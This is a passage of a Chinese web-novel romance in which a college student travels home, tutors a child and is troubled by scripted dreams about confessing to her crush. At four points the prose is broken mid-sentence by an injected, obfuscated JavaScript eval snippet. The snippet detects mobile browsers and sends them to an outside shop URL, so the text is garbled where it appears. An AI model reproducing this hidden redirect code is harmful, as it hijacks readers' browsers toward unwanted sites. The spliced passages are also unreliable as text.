交朋友也没什么难的,她已经和上大学前完全陌生的室友相处成了很好的朋友,跟高中时期就已经是点头之交的邻班同学相处,就更简单了,大方一点。 “早上好,”罗姝小步磨蹭过去:“你也在等段胥阳同学吗?” 曹非这才从手机上抬起头,飞快扫了她一眼又将注意力重新放回手机屏幕里,应了一声:“嗯,他去取车了。” 对方态度不算冷淡,也不算热情,好歹也算完成了寒暄任务,罗姝松了一口气。 “你就背个包啊?” 曹非却突然问她,他手里还拖着一个很迷你的行李箱,尽管小,也装的满满当当,跟罗姝瘪瘪的书包形成了鲜明对比。 “嗯。”罗姝露出社交笑容:“生活物品家里都有,我就带了耳机,充电器充电宝这些。” 曹非若有所思地抱起双臂:“有道理啊。” “诶,你觉不觉得,”接着他话题一变,问了一个极富攻击力的问题:“段胥阳这个人其实有一点愚蠢啊?” 罗姝:“……” 她眼睛眨巴了两下,大脑飞速运转。 曹非和段胥阳从小就打打闹闹,他们之间互相攻击甚至已经成为增进感情的一种方式了。 但作为一个“暗恋”段胥阳的人,听到不利于段胥阳的话语,应该要维护他吧?该怎么组织语言呢? 几秒后,她舔了下发干的嘴唇,说:“我觉得段胥阳同学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924048|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,挺优秀的。” 曹非拖着长长的音调“昂”了一声,挑着眉头说了句:“了解。”便又低下了头,手指在屏幕上敲敲打打。 也不知道他了解了什么。罗姝挪动了一下脚步,稍微离他更远了些。 没过多久,一道橙红色的车身从视野尽头冲了出来,明亮的色彩像是清晨从山巅升起的朝阳,瞬间洗刷掉所有沉闷。 那辆橙红色的越野稳稳地停在校门口,伴随着车门开合的声音,段胥阳从驾驶室跳了下来,远远就将钥匙扔向曹非:“回去你先开,我接后半程。” 曹非也没吭声,拖着自己的小行李箱走了过去。 段胥阳已经迈着大长腿来到罗姝面前:“吃早餐了吗?” 罗姝诚实地摇了摇头:“还没有,不过我带了面包。” “正好,我给你买了鸡蛋灌饼。这是我们小区楼下早餐店做的最后一个灌饼,料很足,有蛋有菜还有里脊肉,口感比你的面包丰富多了。” 说着,他不由分说地将塑料袋塞到罗姝手里。 鸡蛋灌饼出锅没多久,还有些烫手,罗姝左右倒腾了一下,小声道了声谢,随后像想起什么似的,将身后的书包取下拉开锁链:“我也给大家买了水,你看看你想喝什么?” 小书包最上层放着两瓶营养快线和两瓶脉动,营养快线的瓶身上各自印着半颗心,此刻两个瓶子挨在一起,凑成了一颗完成的爱心。 罗姝听到段胥阳笑了一声,心情大好地拿走一瓶营养快线,对她说:“那就谢了。” 曹非已经放好行李并启动车子,冲他们按了下喇叭,他降下车窗对两人喊道:“快上车吧,不能走高速,路上要走六个小时呢。” 车上的气氛很古怪。 这是汽车行驶了半个小时后,罗姝得出的结论。 曹非和段胥阳像是闹了点小矛盾,两个人互相不说话,静谧的车厢里只有罗姝小口咀嚼吞咽的声音,那久违的美味令她稍微安心了些。 起初罗姝担心食物味道重,还开了窗。哪想风声刚呼啸起来,段胥阳就横过一条手臂把窗户又关上了,还叮嘱她不要就着风吃东西,容易肚子疼。 于是原本充斥着果香的车厢,渐渐弥漫起鸡蛋灌饼的香气,气氛也显得更加安静古怪了。 将最后一块灌饼一口气塞进嘴里,罗姝拧开剩下那瓶营养快线咕嘟咕嘟喝了好几口。 她慢吞吞地拧好瓶盖,小心翼翼地瞥向段胥阳。 这家伙正摆出奇怪的笑容看着她。 看了她一路。 察觉到罗姝的眼神,段胥阳撑着脸问:“好吃吗?” “很好吃,谢谢。” 那人神气地抬了抬下巴:“我就知道你喜欢吃。” “……啊?”罗姝不解地歪起头。 “哦,我是说,”段胥阳瞬间坐正:“我记得上高中的时候,我看见过你吃这个。” 那还是罗姝高二时期的事情。爸妈不允许她吃外面的东西,有一次她实在馋得不行,就偷偷拿了十块钱现金,晚自习之前跑去校门口小摊贩那买了一个鸡蛋灌饼。 没想到贪吃了一次就被段胥阳看到了,罗姝有些脸热:“那你记性真好。” 5. 暗恋第3天 从书包侧兜里翻出一个垃圾袋,罗姝把垃圾都收好,把车窗开了一条缝散味。 她和段胥阳中间还坐着两只毛茸茸的小熊玩偶,玩偶上喷了些香水,那股甜香正被风卷动着,直往罗姝鼻子里钻,熏得人有些犯困。 罗姝是一个缺觉二十多天的人,此刻又吃饱喝足,耳边还伴随着风声呜呜的环境音,哪怕她努力在心里劝自己清醒一点,上下眼皮还是不停地打架,头也一点一点的,不知不觉就睡了过去。 直到她不小心撞到车窗,整个人才吃痛醒来,有些怔怔地望着前方发呆。 “对不住啊,有个减速杠我没看到。”开车的曹非从后视镜看了她一眼,表情十分歉疚。 罗姝急忙摆手:“没事没事,不用在意。” 反而是她有些不好意思,在别人车上睡过去,总归很失礼。 她一直自认警惕心还不错,但段胥阳男主的身份像是自带豁免权一样,让她下意识产生了信任,这点要改,毕竟是跟两个男孩子相处。 罗姝正襟危坐,余光看见段胥阳正抱着电脑操作什么,屏幕上是她看不懂的图案,隐约能意识到是和音乐相关。 段胥阳在这时扭头看过来,视线先在她有些轻微泛红的额角上停顿了一下,才移向她的眼睛:“这是我们自己写的歌,刚做了一半混音,我正在检查效果,你要听吗?” “可以吗?”罗姝虽然不了解音乐,但也知道音乐正式发行之前需要保密。 “你想听就可以。”段胥阳取下自己头上戴着的耳机,给罗姝递过去:“试试嘛,帮我评价一下。” 白色的头戴式耳机在他手上显得格外精巧,罗姝伸手接过时,有些惊讶于它那沉甸甸的分量。 她动作生疏地将耳机佩戴好,已经在心里决定好无论听到什么,都要给他一个好的反馈。 一个优秀的暗恋者,要做到暗恋对象全肯定! 然而,当音乐真的在罗姝耳畔流淌起来时,她却不知不觉将所有的盘算都抛诸脑后。 轻摇滚风格急躁的鼓点和着她的心跳声砰砰不停,段胥阳刻意嘶哑的嗓音传递着青年的愤怒。 那愤怒来自于自身的渺小,来自于梦想的宏大,来自于年轻不知天高地厚。 他诘问着,她思考着。什么叫活着,怎样算活着,生命原来是一个动词,要在声声叩问里找寻自己存在的意义。 她情不自禁地抬眼看他,热血、热爱,这就是男主角的觉悟吗? 旋律戛然而止,罗姝的心脏也跟着停了半拍才继续跳动,她把耳机摘下来还给段胥阳,真心实意地夸赞了一句:“很好听,期待完整版。” “你平时喜欢听什么风格的音乐?听得惯摇滚吗?”段胥阳问她,脸上既有被夸奖的欣喜,也有对她答案的好奇,像一个爽朗干净的少年。 罗姝不好意思地笑了一下,她将被耳机压乱的头发整理了一下,才说:“我不怎么听歌,没什么音乐鉴赏能力。” 段胥阳盯着她看了两秒,忽然得意地哼了一声:“那你可听着了,以后就当我的粉丝,人人都会夸你有品味。” “好啊。”手握剧本的罗姝笑眯眯应下。 再过一年多的时间段胥阳就会参加音综,凭借着优秀的外形条件和傲人的才华一夜爆红,再加上男主光环的加持,他会成为音乐界的常青藤,做他的粉丝是真的安心。 “不过,混音也是你在做吗?”这种专业名词提起来总显得很厉害,罗姝不自觉产生了一种“你怎么什么都会”的感叹。 “我们经费有限,在校门外布置了一间工作室以后,剩下的钱请不起专业的混音师。正好我们都学过一些音乐后期制作,就试着自己混。” 段胥阳低下头在工作日记上简单记录了几个问题,便把电脑收了起来。 “亲眼看着一首歌从无到有再到慢慢完善,真是一件很有成就感的事情。” 路程行驶过半,三人路过一个小镇,简单吃了点面条,便又再次启程。 这一次换成段胥阳开车,曹非则换到了副驾驶。罗姝把包里的脉动递给曹非,自己独占后排,静静望着窗外的树影出神。 如果属于“罗姝”的人生只剩下不到三年的时间,在女主角接管这具身体之前,要一直得过且过下去吗? 像段胥阳那样,找到自己真正热爱的事物,拼尽全力为之付出,做出成绩,是不是才不辜负人间一遭? 可她思来想去,竟然找不到一样可以称之为热爱的事业。 比起去做什么轰轰烈烈的大事,她好像更乐意做一个普普通通的人,没什么志向,安安静静活着。 段胥阳不是一个静悄悄的司机,他开着车载音乐,一路跟唱着开回了老家。 熟悉的城市标志性建筑映入眼帘,段胥阳问了罗姝家的地址,先将她送回小区门口。 罗姝背着书包下车,绕到驾驶室的位置,一脸认真地说:“我们平摊加油的费用,你别忘了把账单发我。回去路上小心。” 段胥阳先笑了一声,随后摆摆手让她赶紧进去,一直到罗姝的背影彻底消失在楼宇间,他才重新启动汽车。 回想着那孤寂的背影,他忍不住摇头感慨:“也不知道假期有没有人约她出门玩,她高中时候独来独往的,连个朋友都没有。” 空气很安静,没有人搭话。 “曹非,我劝你适可而止。我又不是真的把你一个人丢在学校里了,你至于一整天跟我不说一句话吗?” 几乎沉默了一路的曹非这时把发烫的手机放下,瞥了他一眼,才开口道:“你知道罗姝上高中的时候为什么没有朋友吗?” “还能为什么,她那会儿不就是个小书呆吗?只知道埋头苦读,也不跟人来往。”段胥阳说着说着就笑了:“顶着个蘑菇头,就跟蘑菇一样把自己种地里,总是一个人蹲在教学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924049|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼后面那个亭子里背单词背古文。” 曹非叹了一口气,说:“你那会儿应该是在外面培训,不知道发生了什么事。” 他严肃的语气让段胥阳也跟着紧绷起来,他收敛起笑容:“发生过什么事?” “那会儿高一开学没多久,罗姝是市状元,脾气也好,在他们班很有人缘。有一个女同学跟罗姝关系最好,几乎形影不离,什么事都要绑在一起做,周末也总是约着逛街。” “然后有一天,罗姝的妈妈找到学校来了。”曹非说着,还撇了撇嘴:“她妈找到罗姝的班主任老王,点名道姓,说那个女同学心术不正,只跟家境好的同学交朋友,还一直影响罗姝学习,让老王约束好班里学生的品行。” “老王把这些话原封不动地转达给了那个女同学,之后这个事情就在他们班级里传开了,也没人敢再和罗姝来往。” “罗姝自己也没有再试图和谁交朋友,就一直形只影单过完了整个高中。” 曹非说完,扭头看向段胥阳明显阴沉下来的侧脸,语重心长地接着说:“他们班的人都知道,罗姝的原生家庭比较压抑,她爸妈只在乎她的成绩有没有下滑,性格也十分强势。他们也很同情罗姝,只是不想给自己找麻烦,所以才敬而远之。” “这种家庭背景下的孩子,要格外关注她的心理健康问题,跟她谈恋爱,还有可能要承担来自她父母的压力。” “段胥阳,我看你今天就跟孔雀开屏似的,才想提醒你两句,情窦初开荷尔蒙上头哥们理解,但你如果没办法给足她安全感,支持她、鼓励她,还是别招惹人家了。” 段胥阳久久不语,向来意气风发的脸上难得有些晦暗和沮丧,好半晌,他才说:“我今天是不是也表现得太过强势了?那会儿她想开窗户,我也没问问她,就直接把车窗关上,就算迎着风吃东西就是容易胃疼,但我跟她商量着来会不会更好一点?” 曹非:“……” 他气笑了:“这就是你听完这个故事得到的感悟吗?” “行了,谢谢你分享这个故事给我。”段胥阳故作感激地拍了他一下,“我心里有底,也有数。” 又折腾了小半个小时,他们终于各回各家。连续驾驶带来的疲惫迟滞地一窝蜂涌上来,段胥阳一头栽倒在沙发上,不想动弹。 过了一会儿,他拿起手机点进微信,置顶那人的头像是一张随手拍的天空照,昵称也老老实实写着“姝姝”两个字,跟时下年轻人的精神风貌很不一样。 他点进去又退出来,重复了好几遍,最后看着她空荡荡的朋友圈,伸手在她的头像上弹了一下,语气低低的:“怎么那么可怜。” 想了想,他一骨碌翻身坐起来,从联系人列表里找出一个号码打了过去。 “喂,臭小子,你们也开学一个月了吧,最近成绩怎么样?暑假跟着小老师补了那么久的课,现在能跟得上学校老师讲课吗?” 6. 暗恋第4天 一个月没住过人的房子空荡又冰冷,罗姝将书包放回房间,看到桌上的落灰,忍不住撸起袖子开始打扫。 冰箱里也空荡荡的,还得去买这几天的食材,罗姝一边拿着抹布擦擦洗洗,一边在心里琢磨要买些什么。 系统原始的电话铃声响起,罗姝擦了擦手掏出手机,看见来电人是她暑假带的学生,坨坨。 “怎么啦,坨坨?” 电话那端传来小男孩瓮声瓮气的声音:“姝姝姐姐,你放假了吗?” “放假了呀,姐姐现在就在家里呢。” 坨坨跟罗姝的妹妹罗妤差不多大,只比罗妤大一岁。罗姝有和妹妹的相处经验,当家教时和坨坨相处得很愉快,开学的这一个月里,她还经常能收到坨坨的微信,问她大学生活怎么样,像一个小大人。 坨坨又问她:“那,姐姐你假期有安排了吗?” 语气小心翼翼的,听起来像是有什么事要她帮忙。 罗姝看了一眼擦了一半的书架,果断转身找了个椅子坐下:“姐姐整个假期都没事的,坨坨,你是不是找姐姐有事啊?” 坨坨松了一口气,想抓住一根救命稻草一样,语气急切地说:“那你能不能再帮我补习几天,我妈妈要给我找其他补习老师,我不想要别的老师教我。” 坨坨的父亲已经年逾五十,母亲也有四十多岁。两口子老来得子,对孩子十分宠爱,几乎是有求必应。所以坨坨有些贪玩,总耐不下性子,上学成绩一直吊车尾。 上学期末,他甚至考了个位数,坨坨的妈妈担心他的基础打不好,以后成绩也跟不上,就到处找家教老师。 坨坨其实换过三四个老师,他都不满意,说老师上课不吸引人,闹着不肯听讲。 也不知怎的,坨坨妈打听到在她们小区便利店里打工的罗姝成绩不错,便邀请罗姝来试一节课。 神奇的是,坨坨就喜欢听罗姝讲课,而且在罗姝的帮助下进步神速,期末考试的卷子让他重新再答一遍,他能拿满分,坨坨爸妈高兴地直给罗姝涨课时费。 可以说,罗姝能赚够自己的学费,坨坨功不可没。 如今小功臣只是提了这样一个小小的请求,罗姝当然没有不答应的道理,她和坨坨约好次日上午去他家里补习,又聊了两句闲话便挂断电话。 又跟坨坨妈妈报备过,罗姝加快速度整理好房间,便揣着钥匙去楼下超市买菜。 罗姝才学会做菜不久,也不会什么复杂的烹饪方式,她挑挑拣拣地选了一些蔬菜,想到段胥阳吐槽学校食堂里找不到一根肉丝,又去割了几斤猪瘦肉,还买了一盒鸡蛋。 结账时,她看着收银台上琳琅满目的新鲜食材,突然觉得她还挺会招待自己的,忍不住对自己满意的笑了两声。 “哟,姝姝啊,”一个阿姨忽然走过来,扯住罗姝的袖子:“我还以为我看错了呢,你大学放假了啊?” 罗姝挣脱了一下,将手臂抽回来,才假笑着回道:“对,阿姨,我这边结算好了,我先付下款。” “你忙你的,不急。”阿姨将购物车扔给身边同行的人,笑嘻嘻地在罗姝身后:“你妈说你成绩可好了,能上清大。我本来还想在你高考那天给你送考来着,哪想到我女儿接我们老两口去国外住了几个月,就没赶上。” “哎,你现在读清大什么专业?阿姨跟你说啊,别看清大是第一学府,一旦毕业出来,还是好专业更有优势,我女儿她现在在国外学校任教,她懂这些,我让她帮你分析分析。” 装满食材的购物袋勒得人掌心发疼,疼痛顺着手指刺入心尖,邻居阿姨不依不饶地纠缠更搅得她头晕目眩。 眼前这位阿姨抹着厚厚的口红,眼睫毛刷成了苍蝇腿一般粗细,说话间,脸上的散粉扑簌簌掉落下来,诡异得不像真人。 她的脸却与罗姝的母亲渐渐重合,颧骨处下垂的皮肤像失去水分的树皮,眼窝深深凹陷,放大尖锐刻薄的眼神。 罗姝浑身颤抖了一下,强撑着扯出一个僵硬的笑脸:“阿姨,我还有急事,不跟您闲聊了。” 眼看着少女落荒而逃,中年男人推着购物车不甚赞同地走到阿姨身边,皱着眉数落:“你不是早知道她高考没考好吗,还老撵着她问什么?人家都不待见你。” “呸,我还不待见她们一家子呢。”女人瞪着下三白吊梢眼,嘴巴向外一撇:“就许她妈一天天拿鼻孔看人,谁也瞧不上,不许我落井下石啊,用得着你装好人。” 罗姝自然不知道在她离去后,那对夫妻还产生了这样的小口角,她先靠着墙角深吸了一口气,将那种窒息感从肺部排出去,才重新提起购物袋,缓缓向家的方向走去。 第二天,她按照约定来到坨坨家。 假期第一天,坨坨赖床了。罗姝过来时,坨坨爸爸还在跟赖床的坨坨做艰难抗争。 坨坨的妈妈姓乔,叫乔玉清,她和罗姝也认识了几个月,彼此间已经十分熟悉。 乔玉清给罗姝倒了一杯水,听到楼上坨坨鬼哭狼嚎的声音,她不屑地摇摇头:“坨坨他爸外强中干,坨坨压根不怕他,你可等着吧,再等半个小时都起不了床。” “没关系,我也没什么事。” “正好,我也想跟你再商量一下给坨坨补习的事。”乔玉清十分亲昵地拉住罗姝的手,说:“那臭小子被宠坏了,脾气大得很,别的老师他看都不看一眼。他就喜欢你,我们做家长的也很喜欢你,你看…要不然之后你还是每天都给他补习怎么样?” 坨坨一家都是好相处的雇主,罗姝当然也舍不得这份工作,但她得考虑到实际问题:“乔阿姨,我大学不在本地,除非节假日,不然没办法上门补习的。” “这个好解决嘛,你们可以打视频电话呀。”乔玉清早就想好了,她像个年轻少女一样坏笑着对罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924050|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝说:“虽然他们学校规定不让留家庭作业,但我给他三门课各买了一本练习册。题量不大,每天晚上你监督他把练习册做了就行,遇到他上课没听懂的知识点,就正好帮他疏通一下。” “他假期跟着你预习了几节课,那几节课他随堂小测考的都还不错。我们也不指望他当状元,就希望他别掉队,维持住中等成绩。” 罗姝还以为乔玉清不信任孩子,急忙给坨坨辩解:“乔阿姨,坨坨其实很聪明的,他稍微多用点心在学习上,以后考到前几名也不成问题。” “我知道,”乔玉清拍了拍她的手,温和地笑了:“有我这么聪明的妈,他能笨到哪去。但是坨坨不愿意啊,他还贪玩,那就让他玩嘛。我们给他找补习老师,就是想帮他把底兜住,以后他想努力的时候,也有努力的资本,对不对?” 罗姝从小到大也请过数不清的家庭教师,她听过很多次母亲对老师的叮嘱。 “这孩子容易松懈,需要老师你多多监督,千万不能让她的成绩下降,一定要维持住第一名。一旦成绩下降,心气就松了,以后再想考第一名就更难了。” “老师,保证她这学期知识点都学会了的情况下,可以提前让她学高年级知识,她不怕苦的,当第一名哪有不辛苦的。” “老师你们一定要帮她分析好考试成绩,她这一次虽然还是第一名,但是数学只高出第二名五分,比她上次考试分差缩小了好几分呢。” 千言万语化作沉寂,罗姝眨了眨干涩的眼睛,胸腔里那颗心脏重重跳跃了几下,几秒后她点了点头:“好,我也会努力给坨坨托底。” 乔玉清果然是坨坨的亲妈,坨坨爸的亲老婆,对这父子俩了如指掌。等坨坨终于清醒过来,洗漱好下来时,距离约定的时间已经过了四十分钟,都到了该准备午餐的时间。 坨坨看到罗姝,才后知后觉地感到了歉疚,他胖墩墩的身子像一颗皮球一样撞进罗姝怀里,撒娇着道歉:“对不起姝姝姐姐,我好久好久没有睡懒觉了,从明天起我再也不赖床了。” “一言为定。”罗姝伸出一根小拇指要跟他拉手:“明天我再来的时候,你一定已经坐到小桌子面前等我了对不对?” “一言为定!”坨坨顺势拉着她往书房的方向走,还不忘跟罗姝分享自己的八卦:“姝姝姐姐,我偷偷跟你说一件事,你不要告诉别人哦。” 罗姝也配合地压低声音:“什么事啊?” “我好像找到我未来的老婆啦!” 罗姝被口水呛了一下,她咳嗽了两声,强忍住笑意问他:“你怎么找到的?” “我表哥教我的。”他把白白胖胖的手贴在罗姝耳边,用气音说:“我表哥说,要是总忍不住看一个女孩子,就要注意,说不定这个女孩子头顶上就会有一个箭头,上面写着她是我的老婆。虽然我看不到什么箭头,但是我老是忍不住偷看我的同桌。” 7. 暗恋第5天 “你表哥跟你说这个做什么?”罗姝经常和坨坨聊天,她知道坨坨的表哥已经是大学生了,她实在想不到一个大学生跟一个小学生说这番话的动机。 坨坨眼神飘了一下,没叫罗姝看见,他故意摇头晃脑:“他倒也不是主动跟我说起这个。都是因为我表哥就总是偷看一个女孩子,还被我抓到好几次,我问他为什么要偷偷摸摸的,他才这样说。” 罗姝无语半晌,耷拉着眼皮试图揭穿这位表哥的假话:“那是他自己想看别人小姑娘,还不好意思承认。哪有什么箭头的事儿,你可不许乱学,要和同桌妹妹保持纯洁的同学情!” “啊……那她真的不能是我未来老婆吗?”坨坨失望极了,他丧眉搭眼地坐在书桌前,撅着嘴翻自己的课本:“她可是我们班最漂亮的小公主。” 罗姝:“……” 这哥俩一个毛病,就纯自己爱看。 上午检测了一下坨坨现阶段的语文水平,蹭了一顿午餐后,下午罗姝又考察了他的英语和数学成绩。 她之前帮他预习过的部分坨坨掌握得很牢固,但在学校新学的知识点就有些欠缺。 摸底结束,罗姝对这个小长假的补习方案有了大致规划,下午刚过四点没多久,她就提出告辞,回家备课。 暑假给坨坨预习时购买的教科书还在,罗姝按照学校的上课节奏划定了一个预习范围,一直忙到晚上十一点钟才完成了准备工作,连晚餐都忘了吃,只吃了一个昨天买的面包。 睡前,罗姝又热了一盒牛奶助眠,温热的液体顺着肠道熨帖着胃,她很快就感到困意袭来…… 六月的雨带着青草香,不够激烈,但足够缠绵。 丝丝缕缕的落雨连成线、织成纱,落在罗姝身上,在她睫毛上凝出晶莹剔透的宝珠。 罗姝眉心皱了皱,艰难地睁开眼睛,发现自己正在高中校园门口,手里还捏着一个粉色信封。 本该不及肩膀的短发变成了一个蓬松的花苞头,她穿着高中校服,身体不受控制地来回踱步。 这是高考前,高考生离校时的场景,到处都是搬着厚厚一摞课本的学生。 段胥阳已经通过了艺考,近期在单独补习文化课,今天也接到通知,回校搬走自己剩余的东西。 难得见到这个风云人物,路上有不少同学都刻意放慢了脚步,“罗姝”见状探头望去,只见高中时期的段胥阳抱着一个装满书本的箱子缓缓走了过来。 校门口的野花时不时被滴落的雨水打得乱颤,正如“罗姝”难以抑制的心跳。禁锢在这具身体里动弹不得的罗姝本人眼睁睁看着自己深呼吸数下,鼓足了勇气冲到段胥阳眼前 罗姝同时感受着自己真正的绝望,和剧情中“罗姝”的紧张与期待,她已经完全背会了那句台词。 “段胥阳同学!我是你隔壁班的罗姝,我想跟你说,高中三年,我一直很喜欢你,希望你能收下我的情书!” 完全不同于现实中的热情与暖心,梦境的段胥阳很是疏离地退后一步,琉璃般的眼眸里充斥着陌生:“不好意思,我对你没有印象,你用心写的东西给了我,只会压箱底或者扔进垃圾桶,还是你自己留着吧。” 周围顿时响起一片刻意压低的嘲弄声。 “就算是年纪第一,这脸也太大了吧,怎么有胆子向段胥阳表白的啊。” “马上就要高考了,她这么搞自己的心态,还能考好吗?” “没考好也是活该,心思都没放在考试上。” 嘲讽的言语像烦人的苍蝇一样在耳边嗡嗡作响,赤诚的喜欢遭到漠视,令“罗姝”心头泛起一阵又一阵的酸涩。 心脏剧烈的抽痛中,整个世界像是被掐断了光源,陷入一片黑暗。 梦境结束了。 罗姝泪流满面地惊醒过来,她坐起身,近乎茫然地看了一圈自己熟悉的卧室,随后怔怔地摸了摸自己的脸,水渍濡湿了她的指尖。 清醒的意识落入无法掌控的梦境,这极大地耗费了罗姝的精力,让她无比困倦,却始终无法得到真正的休憩。 为什么,为什么!为什么还会做梦! 她愤怒地捶着床,压抑的泪珠断了线般砸在床单上。 愤懑、不解、和想要毁灭一切的冲动在她大脑中来回切换。 “我还要怎么做!我还能怎么做!”罗姝克制不住地掐住自己的胳膊,同时死死咬着嘴唇。 疼痛刺激着她的神经,逼迫她不断思考:“是我理解错了吗?我现在最需要做的事,应该是直接跟他告白?” 像是被点醒了一般,罗姝扑到手机前,输了几次密码才成功解锁。她打开与段胥阳的微信聊天窗口,手指哆嗦着打下一连串“我喜欢你”。 点击发送,她输入的告白顷刻间变成了一大堆无用的乱码。 时间已经接近凌晨三点,罗姝收到了他秒回的一个问号。 看着那串乱码,罗姝呆滞了几秒,她松开被她揉皱的床单,自嘲地笑了一下,才冷静下来回复道:“不好意思,我发错信息了,吵醒你了。” 一条语音紧跟着跳了出来,罗姝点开,房间里顿时充斥着段胥阳那独有的懒散声线:“没吵到我,我正混音呢。倒是你,这么晚还不睡,睡不着啊?” 无处宣泄的委屈突然涌了上来,她也不知道自己怎么想的,竟然回复了一个“嗯”,外加一个眼圈哭成花瓣状的小熊表情包。 意识到这只小熊太过娇弱,像是在有意撒娇似的,她又迅速将表情包撤回。 罗姝想起之前在车厢里听到过的,段胥阳创作的那蓬勃有力的音乐,那歌声里有着仿佛能注入力量般的喧嚣,便重新发了一句:“你的那首歌,还能让我再听一遍吗?” “你方便接电话吗?”段胥阳问。 罗姝以为他要在电话里播放音乐,就给了一个肯定的答复。 下一秒,段胥阳的语音电话就拨了过来。铃声在昏寂的黑暗中格外刺耳,罗姝一把接起,轻轻喂了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924051|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “本来就睡不着,听了摇滚只怕更睡不着。我有一个好主意,既然你是我的音乐粉,我就宠一下粉,亲自给你唱个摇篮曲怎么样?” 不知道是不是因为段胥阳的语气没有一丝不耐烦,还隐藏着丝丝纵容,罗姝吸了吸鼻子,大着胆子提出要求:“我不想听摇篮曲,你可以给我唱儿歌吗?” 他笑了一声,响亮地回复了一句“行”。 天真童趣的歌词在他刻意轻柔下来的歌声中娓娓道来,罗姝擦干眼泪,闭上眼睛重新躺好,开始酝酿睡意。 眼帘变成了深邃的宇宙,她在这块幕布上看到了发光的萤火虫、明暗交织的星星和蹦蹦跳跳的小白兔。 不知过了多久,终于,她安稳地睡熟了。 深夜是滋养感性的温床,第二天起床后的罗姝掩面羞愧,完全不理解自己为什么能脆弱矫情到那种程度,竟然让段胥阳唱歌哄她睡觉。 微信上明晃晃地写着,二人通话时间长达三个多小时,罗姝也不知道他到底唱了多久,只能饱含着歉意与感谢,给他发了一连串表情包。 爱心弹射、小猫比心、萌物送花花……她把能当做感谢的表情包都发送了一遍,才稍微安下心来,开始起床洗漱。 —— 当罗姝的呼吸声开始变得平稳时,段胥阳就迅速捕捉到了。他又唱了几声舒缓的歌,确认罗姝睡着以后,才安静下来继续干自己的活。 手机就放在一边,电话也没有挂断,通话时长一分一秒累计,带给段胥阳无限的安心感,也消解了他的困顿,让他更有精神投入工作。 工作结束时天光已经泛白,临睡前,段胥阳在挂断与不挂断之间犹豫了一阵,最终还是挂断了电话。 省得她误以为自己唱了多久似的,又觉得不好意思。 一觉醒来,段胥阳第一件事就是点进微信看罗姝的未读消息。 满屏鲜花与爱心交替炸开,段胥阳抹了把脸,把笑容藏了藏。 就知道她高中时在苦苦忍耐,这不,刚上大学她就不装了,卖萌示好的小图一套接一套。 这哪里还是暗恋他,分明是明恋嘛! 都这样了,还要等几年后才告白? 段胥阳眉头一皱,不赞同地摇摇头。他也得主动表现一些,尽快让罗姝意识到他们其实心意相通才对。 如果她实在不敢开口,等到时机合适,他也可以先开口啊! 不对不对,不能打乱她的节奏。她想主动告白肯定有她的理由,得让她握住选择权,不能把她变成被选择的那个。 那就只能他更主动了! 段胥阳雄赳赳气昂昂地跳下床,去卫生间那短短一路上还跳了一段不伦不类的桑巴舞,要是有条尾巴,这会儿都恨不得翘上天。 “新歌已经混好了,你们听听看。对了,下一首新歌写成情歌怎么样?”段胥阳在逆时针乐队群里发了音乐文件,又忍不住开始荡漾:“以后我唱情歌可能会更有感觉。” 8. 暗恋第6天 坨坨其实是一个相当省心的孩子,只要他能坐得住,对课堂感兴趣,他的学习效率就会很高。 罗姝虽然只当了几个月的小老师,但已经做了十几年的学生。她不是天才,能常年保持第一名的成绩,离不开各种各样的学习技巧,这些小窍门一下就能吸引住坨坨的注意力,因此罗姝的工作也开展得十分轻松。 照常在下午四点钟结束补习,罗姝乘着公交车一路摇晃回了家,简单休息了一下,就开始笨手笨脚地准备今天的晚餐。 罗姝的个人技就是熟能生巧。在学习上遇到任何问题,都能通过施展这一技能来克服、掌握。 但做饭在她技能范围之外。独自生活了这么久,她切个滚刀块土豆仍然切得乱七八糟,葱姜蒜的最小精度也只能达到丁,切不了碎末。炒个菜油花四溅,要不火大炒得太老,要不火小炒得太生,多回锅几次,再脆嫩的蔬菜也能炒成软趴趴一盘。 唯一称得上不错的是她的调味,只有调料这一块,罗姝可以严格按照菜谱上的克数准备,从来没有翻车过。 